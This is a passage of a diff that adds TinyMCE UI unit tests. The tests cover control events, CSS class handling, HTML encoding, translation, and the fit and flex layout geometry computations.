+		// Check so that the chain worked
+		ok(ctrl instanceof tinymce.ui.Control);
+	});
+
+	test("Events", function() {
+		var ctrl = new tinymce.ui.Control({
+			onMyEvent: function() {
+				count++;
+			},
+			callbacks: {
+				handler1: function() {
+					count++;
+				}
+			}
+		}), count;
+
+		ctrl.on('MyEvent', function(args) {
+			equal(ctrl, args.control);
+			equal(ctrl, this);
+			equal(args.myKey, 'myVal');
+		});
+
+		ctrl.fire('MyEvent', {myKey: 'myVal'});
+
+		function countAndBreak() {
+			count++;
+			return false;
+		}
+
+		// Bind two events
+		ctrl.on('MyEvent2', countAndBreak);
+		ctrl.on('MyEvent2', countAndBreak);
+
+		// Check if only one of them was called
+		count = 0;
+		ctrl.fire('MyEvent2', {myKey: 'myVal'});
+		equal(count, 1);
+
+		// Fire unbound event
+		ctrl.fire('MyEvent3', {myKey: 'myVal'});
+
+		// Unbind all
+		ctrl.off();
+		count = 0;
+		ctrl.fire('MyEvent2', {myKey: 'myVal'});
+		equal(count, 0, 'Unbind all');
+
+		// Unbind by name
+		ctrl.on('MyEvent1', countAndBreak);
+		ctrl.on('MyEvent2', countAndBreak);
+		ctrl.off('MyEvent2');
+		count = 0;
+		ctrl.fire('MyEvent1', {myKey: 'myVal'});
+		ctrl.fire('MyEvent2', {myKey: 'myVal'});
+		equal(count, 1);
+
+		// Unbind by name callback
+		ctrl.on('MyEvent1', countAndBreak);
+		ctrl.on('MyEvent1', function() {count++;});
+		ctrl.off('MyEvent1', countAndBreak);
+		count = 0;
+		ctrl.fire('MyEvent1', {myKey: 'myVal'});
+		equal(count, 1);
+
+		// Bind by named handler
+		ctrl.off();
+		ctrl.on('MyEvent', 'handler1');
+		count = 0;
+		ctrl.fire('MyEvent', {myKey: 'myVal'});
+		equal(count, 1);
+	});
+
+	test("hasClass,addClass,removeClass", function() {
+		var ctrl = new tinymce.ui.Control({classes: 'class1 class2 class3'});
+
+		equal(ctrl.classes(), 'mce-class1 mce-class2 mce-class3');
+		ok(ctrl.hasClass('class1'));
+		ok(ctrl.hasClass('class2'));
+		ok(ctrl.hasClass('class3'));
+		ok(!ctrl.hasClass('class4'));
+
+		ctrl.addClass('class4');
+		equal(ctrl.classes(), 'mce-class1 mce-class2 mce-class3 mce-class4');
+		ok(ctrl.hasClass('class1'));
+		ok(ctrl.hasClass('class2'));
+		ok(ctrl.hasClass('class3'));
+		ok(ctrl.hasClass('class4'));
+
+		ctrl.removeClass('class4');
+		equal(ctrl.classes(), 'mce-class1 mce-class2 mce-class3');
+		ok(ctrl.hasClass('class1'));
+		ok(ctrl.hasClass('class2'));
+		ok(ctrl.hasClass('class3'));
+		ok(!ctrl.hasClass('class4'));
+
+		ctrl.removeClass('class3').removeClass('class2');
+		equal(ctrl.classes(), 'mce-class1');
+		ok(ctrl.hasClass('class1'));
+		ok(!ctrl.hasClass('class2'));
+		ok(!ctrl.hasClass('class3'));
+
+		ctrl.removeClass('class3').removeClass('class1');
+		equal(ctrl.classes(), '');
+		ok(!ctrl.hasClass('class1'));
+		ok(!ctrl.hasClass('class2'));
+		ok(!ctrl.hasClass('class3'));
+	});
+
+	test("encode", function() {
+		tinymce.i18n.add('en', {'old': '"new"'});
+		equal(new tinymce.ui.Control({}).encode('<>"&'), '&#60;&#62;&#34;&#38;');
+		equal(new tinymce.ui.Control({}).encode('old'), '&#34;new&#34;');
+		equal(new tinymce.ui.Control({}).encode('old', false), 'old');
+	});
+
+	test("translate", function() {
+		tinymce.i18n.add('en', {'old': 'new'});
+		equal(new tinymce.ui.Control({}).translate('old'), 'new');
+		equal(new tinymce.ui.Control({}).translate('old2'), 'old2');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/FitLayout.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/FitLayout.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/FitLayout.js	(revision 33402)
@@ -0,0 +1,57 @@
+(function() {
+	var panel;
+
+	module("tinymce.ui.FitLayout", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createFitPanel(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'panel',
+			layout: 'fit',
+			width: 200,
+			height: 200,
+			border: 1
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+	}
+
+	test("fit with spacer inside", function() {
+		panel = createFitPanel({
+			items: [
+				{type: 'spacer', classes: 'red'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 200, 200]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [1, 1, 198, 198]);
+	});
+
+	test("fit with padding and spacer inside", function() {
+		panel = createFitPanel({
+			padding: 3,
+			items: [
+				{type: 'spacer', classes: 'red'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 200, 200]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [4, 4, 192, 192]);
+	});
+
+	test("fit with panel inside", function() {
+		panel = createFitPanel({
+			items: [
+				{type: 'panel', border: 1}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 200, 200]);
+		deepEqual(Utils.rect(panel.find('panel')[0]), [1, 1, 198, 198]);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/FlexLayout.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/FlexLayout.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/FlexLayout.js	(revision 33402)
@@ -0,0 +1,884 @@
+(function() {
+	var panel;
+
+	module("tinymce.ui.FlexLayout", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function renderPanel(settings) {
+		var panel = tinymce.ui.Factory.create(tinymce.extend({
+			type: "panel",
+			layout: "flex",
+			width: 200, height: 200,
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'spacer', classes: 'green'},
+				{type: 'spacer', classes: 'blue'}
+			]
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+
+		Utils.resetScroll(panel.getEl('body'));
+
+		return panel;
+	}
+
+	test("pack: default, align: default, flex: default", function() {
+		panel = renderPanel({});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 0, 20, 20]);
+	});
+
+	test("pack: default, align: default, flex: default, borders", function() {
+		panel = renderPanel({defaults: {border: 1}});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 22, 22]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [22, 0, 22, 22]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [44, 0, 22, 22]);
+	});
+
+	test("pack: default, flex: 1", function() {
+		panel = renderPanel({
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [67, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [133, 0, 67, 20]);
+	});
+
+	test("pack: default, flex: 1, minWidth: various", function() {
+		panel = renderPanel({
+			defaults: {flex: 1},
+			items: [
+				{type: 'spacer', minWidth: 25, classes: 'red'},
+				{type: 'spacer', minWidth: 30, classes: 'green'},
+				{type: 'spacer', minWidth: 35, classes: 'blue'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 62, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [62, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [128, 0, 72, 20]);
+	});
+
+	test("pack: start, flex: default", function() {
+		panel = renderPanel({
+			pack: "start"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 0, 20, 20]);
+	});
+
+	test("pack: start, flex: 1", function() {
+		panel = renderPanel({
+			pack: "start",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [67, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [133, 0, 67, 20]);
+	});
+
+	test("pack: end, flex: default", function() {
+		panel = renderPanel({
+			pack: "end"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [140, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [160, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [180, 0, 20, 20]);
+	});
+
+	test("pack: end, flex: 1", function() {
+		panel = renderPanel({
+			pack: "end",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [67, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [133, 0, 67, 20]);
+	});
+
+	test("pack: center, flex: default", function() {
+		panel = renderPanel({
+			pack: "center"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [70, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [110, 0, 20, 20]);
+	});
+
+	test("pack: center, flex: 1", function() {
+		panel = renderPanel({
+			pack: "center",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [67, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [133, 0, 67, 20]);
+	});
+
+	test("pack: start, spacing: 3", function() {
+		panel = renderPanel({
+			layout: "flex",
+			pack: "start",
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [23, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [46, 0, 20, 20]);
+	});
+
+	test("pack: end, spacing: 3", function() {
+		panel = renderPanel({
+			pack: "end",
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [134, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [157, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [180, 0, 20, 20]);
+	});
+
+	test("pack: center, spacing: 3", function() {
+		panel = renderPanel({
+			pack: "center",
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [67, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [113, 0, 20, 20]);
+	});
+
+	test("pack: start, padding: 3", function() {
+		panel = renderPanel({
+			pack: "start",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [23, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [43, 3, 20, 20]);
+	});
+
+	test("pack: start, spacing: 3, padding: 3", function() {
+		panel = renderPanel({
+			pack: "start",
+			padding: 3,
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [26, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [49, 3, 20, 20]);
+	});
+
+	test("pack: start, align: start", function() {
+		panel = renderPanel({
+			pack: "start",
+			align: "start"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 0, 20, 20]);
+	});
+
+	test("pack start, align: center", function() {
+		panel = renderPanel({
+			pack: "start",
+			align: "center"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 90, 20, 20]);
+	});
+
+	test("pack: start, align: end", function() {
+		panel = renderPanel({
+			pack: "start",
+			align: "end"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 180, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 180, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 180, 20, 20]);
+	});
+
+	test("pack: start, align: stretch", function() {
+		panel = renderPanel({
+			pack: "start",
+			align: "stretch"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 200]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 200]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 0, 20, 200]);
+	});
+
+	test("pack: start, padding: 3, align: stretch", function() {
+		panel = renderPanel({
+			pack: "start",
+			align: "stretch",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 194]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [23, 3, 20, 194]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [43, 3, 20, 194]);
+	});
+
+	test("pack: start, flex: mixed values", function() {
+		panel = renderPanel({
+			pack: "start",
+			items: [
+				{type: 'spacer', classes: 'red', flex: 0.3},
+				{type: 'spacer', classes: 'green', flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 0.5}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 43, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [43, 0, 98, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [141, 0, 59, 20]);
+	});
+
+	test("pack: justify", function() {
+		panel = renderPanel({
+			pack: "justify"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [180, 0, 20, 20]);
+	});
+
+	test("pack: justify, padding: 3", function() {
+		panel = renderPanel({
+			pack: "justify",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [177, 3, 20, 20]);
+	});
+
+	test("pack: justify, minWidth: mixed values, padding: 3", function() {
+		panel = renderPanel({
+			pack: "justify",
+			padding: 3,
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'spacer', classes: 'green', minWidth: 80},
+				{type: 'spacer', classes: 'blue', minWidth: 50}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [45, 3,  80, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [147, 3, 50, 20]);
+	});
+
+	test("pack: start, flex: 1, maxWidth: 80 on second", function() {
+		panel = renderPanel({
+			pack: "start",
+			width: 400,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', maxWidth: 80, flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 160, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [160, 0, 80, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [240, 0, 160, 20]);
+	});
+
+	test("pack: start, flex: 1, minWidth: 150 on second", function() {
+		panel = renderPanel({
+			pack: "start",
+			width: 400,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', minWidth: 150, flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 90, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 0, 220, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [310, 0, 90, 20]);
+	});
+
+	test("pack: start, flex: default, hide item and reflow", function() {
+		panel = renderPanel({
+			pack: "start",
+			autoResize: true,
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'spacer', classes: 'green'},
+				{type: 'spacer', classes: 'blue'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [40, 0, 20, 20]);
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 60, 20]);
+		panel.items().eq(0).hide();
+		panel.reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 40, 20]);
+	});
+
+	test("pack: start, flex: 1, reflow after resize outer width", function() {
+		panel = renderPanel({
+			pack: "start",
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [67, 0, 67, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [133, 0, 67, 20]);
+
+		panel.layoutRect({w: 400, h: 400}).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 400, 400]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 133, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [133, 0, 133, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [267, 0, 133, 20]);
+	});
+
+	test("pack: start, maxWidth/maxHeight: 100, item minWidth/maxHeight: 200 (overflow W+H)", function() {
+		panel = renderPanel({
+			pack: "start",
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 100,
+			maxHeight: 100,
+			items: [
+				{type: 'spacer', minWidth: 200, minHeight: 200, classes: 'red dotted'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 200, 200]);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+
+	test("pack: start, direction: column, maxWidth/maxHeight: 100, padding: 20, spacing: 10, item minWidth/maxHeight: 200 (overflow W+H)", function() {
+		panel = renderPanel({
+			pack: "start",
+			direction: "column",
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 100,
+			maxHeight: 100,
+			padding: 20,
+			spacing: 10,
+			items: [
+				{type: 'spacer', minWidth: 100, minHeight: 100, classes: 'red dotted'},
+				{type: 'spacer', minWidth: 100, minHeight: 100, classes: 'green dotted'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [20, 20, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [20, 130, 100, 100]);
+		equal(panel.layoutRect().contentW, 20 + 100 + 20);
+		equal(panel.layoutRect().contentH, 20 + 100 + 10 + 100 + 20);
+	});
+
+	test("pack: start, maxWidth/maxHeight: 100, item minWidth/maxHeight: 200 (overflow W)", function() {
+		panel = renderPanel({
+			pack: "start",
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 100,
+			items: [
+				{type: 'spacer', minWidth: 200, minHeight: 200, classes: 'red dotted'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 200, 200]);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+
+	test("pack: start, maxWidth/maxHeight: 100, item minWidth/maxHeight: 200 (overflow H)", function() {
+		panel = renderPanel({
+			pack: "start",
+			autoResize: true,
+			autoScroll: true,
+			maxHeight: 100,
+			items: [
+				{type: 'spacer', minWidth: 200, minHeight: 200, classes: 'red dotted'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 200, 200]);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+
+	test("pack: start, minWidth: 200, item minWidth: 100 (underflow)", function() {
+		panel = renderPanel({
+			pack: "start",
+			autoResize: true,
+			minWidth: 200,
+			items: [
+				{type: 'spacer', minWidth: 100, classes: 'red'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 200, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 100, 20]);
+	});
+
+	test("pack: start, flex: 1, border: 1, reflow after resize inner width", function() {
+		panel = renderPanel({
+			pack: "start",
+			border: 1,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1}
+			]
+		});
+
+		panel.layoutRect({innerW: 400, innerH: 400}).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 402, 402]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [1, 1, 400, 20]);
+	});
+
+	test("row flexbox in row flexbox", function() {
+		panel = tinymce.ui.Factory.create({
+			type: 'panel',
+			layout: 'flex',
+			align: 'end',
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'panel', layout: 'flex', padding: 10, spacing: 10, items: [
+					{type: 'spacer', classes: 'yellow'},
+					{type: 'spacer', classes: 'magenta'}
+				]},
+				{type: 'spacer', classes: 'green'}
+			]
+		}).renderTo(document.getElementById('view')).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 110, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find("panel")[0]), [20, 0, 70, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [30, 10, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [60, 10, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[3]), [90, 20, 20, 20]);
+	});
+
+	test("row flexbox in row flexbox hide inner item and reflow", function() {
+		panel = tinymce.ui.Factory.create({
+			type: 'panel',
+			layout: 'flex',
+			align: 'end',
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'panel', layout: 'flex', padding: 10, spacing: 10, items: [
+					{type: 'spacer', classes: 'yellow'},
+					{type: 'spacer', classes: 'magenta'}
+				]},
+				{type: 'spacer', classes: 'green'}
+			]
+		}).renderTo(document.getElementById('view')).reflow();
+
+		panel.find('spacer')[1].hide().parent().reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 80, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find("panel")[0]), [20, 0, 40, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [30, 10, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[3]), [60, 20, 20, 20]);
+	});
+
+	// Direction column tests
+
+	function renderColumnPanel(settings) {
+		settings.direction = "column";
+		return renderPanel(settings);
+	}
+
+	test("direction: column, pack: default, align: default, flex: default", function() {
+		panel = renderColumnPanel({});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 40, 20, 20]);
+	});
+
+	test("direction: column, pack: default, flex: 1", function() {
+		panel = renderColumnPanel({
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 67, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 133, 20, 67]);
+	});
+
+	test("direction: column, pack: default, flex: 1, minWidth: various", function() {
+		panel = renderColumnPanel({
+			defaults: {flex: 1},
+			items: [
+				{type: 'spacer', minHeight: 25, classes: 'red'},
+				{type: 'spacer', minHeight: 30, classes: 'green'},
+				{type: 'spacer', minHeight: 35, classes: 'blue'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 62]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 62, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 128, 20, 72]);
+	});
+
+	test("direction: column, pack: start, flex: default", function() {
+		panel = renderColumnPanel({
+			pack: "start"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 40, 20, 20]);
+	});
+
+	test("direction: column, pack: start, flex: 1", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 67, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 133, 20, 67]);
+	});
+
+	test("direction: column, pack: end, flex: default", function() {
+		panel = renderColumnPanel({
+			pack: "end"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 140, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 160, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 180, 20, 20]);
+	});
+
+	test("direction: column, pack: end, flex: 1", function() {
+		panel = renderColumnPanel({
+			pack: "end",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 67, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 133, 20, 67]);
+	});
+
+	test("direction: column, pack: center, flex: default", function() {
+		panel = renderColumnPanel({
+			pack: "center"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 70, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 110, 20, 20]);
+	});
+
+	test("direction: column, pack: center, flex: 1", function() {
+		panel = renderColumnPanel({
+			pack: "center",
+			defaults: {flex: 1}
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 67, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 133, 20, 67]);
+	});
+
+	test("direction: column, pack: start, spacing: 3", function() {
+		panel = renderColumnPanel({
+			layout: "flex",
+			pack: "start",
+			spacing: 3
+		});
+
